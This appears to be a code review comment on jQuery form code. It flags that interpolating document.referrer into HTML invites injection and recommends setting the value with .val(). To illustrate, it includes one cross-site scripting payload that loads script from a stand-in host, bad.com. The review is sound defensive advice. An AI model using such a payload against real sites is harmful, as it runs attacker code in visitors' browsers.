Two things here:

The way jQuery works you can probably remove the `each` loop and do something like:

    var $forms = $('.report-a-problem-container form, .report-a-problem form');
    $forms.append('...');

and it will automatically append the contents to all matched elements.

The second is, without checking how browsers escape referrer, doing string interpolation seems like it could be used for an injection attack. If the referrer was something like `billy"><script src="http://bad.com/lol.js"><br class="` then `lol.js` would probably get executed on the page. You are probably better off using something like:

    $form.append($('<input type="hidden">').val(document.referrer));